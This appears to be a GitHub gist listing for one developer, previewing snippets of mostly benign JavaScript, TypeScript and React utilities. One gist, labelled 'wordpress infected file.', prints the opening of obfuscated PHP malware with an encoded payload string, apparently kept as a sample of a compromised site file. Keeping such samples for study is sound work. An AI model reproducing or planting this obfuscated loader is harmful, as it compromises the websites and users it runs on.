Skip to content

Instantly share code, notes, and snippets.

View emersonbroga's full-sized avatar
:octocat:
Let's code!

Emerson Brôga emersonbroga

:octocat:
Let's code!
View GitHub Profile
@emersonbroga
emersonbroga / components-and-events.md
Last active September 6, 2023 22:42
React: Componentes e eventos

React: Componentes e Eventos.

Uma situação muito comum em projetos React é a gente criar uma lib de componentes pra reutilizar. Em sua grande maioria, fazemos apenas para deixar certos estilos e coisas que gostamos de padronizar.

Vou dar o exemplo usando um input text, mas imagine que o que eu to falando se aplica a tudo select, checkbox, radio, textarea, input file, etc.

Vamos la:

@emersonbroga
emersonbroga / useLocalStorage.ts
Created June 5, 2023 16:29
Use localStorage Hook for TypeScript
import { useState, useEffect } from 'react'
const getStorageValue = <T>(key: string, defaultValue?: T): T | undefined => {
const fallback = defaultValue || undefined
if (typeof window === 'undefined') return fallback
const value = localStorage.getItem(key)
if (value === null) return fallback
try {
@emersonbroga
emersonbroga / index.js
Last active August 4, 2023 16:36
[QuickNode] Update TabOrder on Chain JSON files.
#!/usr/bin/env node
const fs = require("fs");
const path = require("path");
const [, , folderPath] = process.argv;
if (!folderPath) {
console.error(
"Please provide the chains json folder path [metadata/chains/]"
);
@emersonbroga
emersonbroga / JsonHelper.js
Created September 30, 2021 02:48
Json Helper
const fs = require('fs');
const JSONWrite = (filePath, data, encoding = 'utf-8') => {
const promiseCallback = (resolve, reject) => {
fs.writeFile(filePath, JSON.stringify(data, null, 2), encoding, (err) => {
if (err) {
reject(err);
return;
}
resolve(true);
@emersonbroga
emersonbroga / index.html
Created September 20, 2020 23:48
JSBin Test
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JSBin Test</title>
</head>
<body>
<div class="container">
@emersonbroga
emersonbroga / .523d666a
Last active August 9, 2020 21:44
wordpress infected file.
<?php
$_8nwch = basename/*zg*/(/*qc3l*/trim/*26m*/(/*yi4kg*/preg_replace/*h9*/(/*vu8d*/rawurldecode/*qsy2e*/(/*mw3*/"%2F%5C%28.%2A%24%2F"/*35e*/)/*2c*/, '', __FILE__/*f9l72*/)/*53o*//*2*/)/*ps*//*950b*/)/*etozv*/;$_nqi68c2 = "GS%12%1BERSP%08%40%0C%07G%09FFA%01W%5Bi%02A%07%17%0AVAmP%16SWB%04%0ENJF%24N8W%01P_X%04%06N%10%1B%5CPS%5E%3BUYX%15K%11%170MGWR%10S%16%11M%0EXJT%24u%5B%5D%0DiES%15%06N%06%1D%5CZ%40l%08YQ%11M%0E%276%23b%1C%09s%0DX_i%12K%1DKHBZUl%01DDY%13%5DNOO%1E%1C%09s%0DX_i%12K%1DKHCTJl%01NSU%14Z%00%0C%01qA%5B%5E%01%11%1A%16Q%07R%23%0A%5CG%5DA%3BDSF%0E%5C%1D%0A%01I%1D%02%1A_vES%15q%1D%0A%02Kj%5EZ%09_B%1EQ%07R%0A%09%06%14VV%02_XS%05%06K3%27~jw%7C%28%14%1F%1F%1AJ%0C%05%06%40P%1A%114~fi%24a%25AC%0E%17n%5DF%1F%0DK%08HIKNJPTZ%0ASR%1EFH%00%0F%0AqEGG%3BUYX%15K%07%17%1C%0E%12%1B%1A%1FRSP%08%40%0CKHH%5C%5EV%3BFCB%3EM%06%0D%1BK%5BF%40D%11%1A%16P%07RG%02_MVT%0DTB%16%5C%0ENPZK%07%07%01%01%01%1BRTL_N%5B%1BQ%0A%1E%05%01%06%0FLH%0C%07%5E%1BS%07%04S%06%04PF%15%0E%0F%00LT%5E%13%40%5BGN%05I%00%01%1B%15SG%5D%07B_Y%0F%0E%11%
@emersonbroga
emersonbroga / Readme.md
Last active October 25, 2022 13:28
Convert images from CR2 to JPG.

Conversor de imagens de CR2 para JPG

instruções

salve o código como index.js crie uma pasta chamada CR2 adicione os seus arquivos CR2 la crie uma pasta chamada JPG e deixe ela vazia abra o seu terminal e rode npm install --save cr2-raw depois rode node index.js

function asyncLoop(iterations, func, callback) {
var index = 0;
var done = false;
var loop = {
next: function() {
if (done) {
return;
}
if (index < iterations) {
const Parser = require('rss-parser');
const parseVolumeToInt = volume => {
const vol = volume.replace('+', '').replace(',', '');
return Number.parseInt(vol, 10);
};
async function getGoogleTrends(url) {
const parser = new Parser({
defaultRSS: 2.0,
@emersonbroga
emersonbroga / README.md
Created February 14, 2019 00:09
Front-end Javascript: Get a specific date/time from a defined Timezone.

#Front-end Timezone with javascript

Dependencies:

date-fns date-fns-timezone

##How to Run: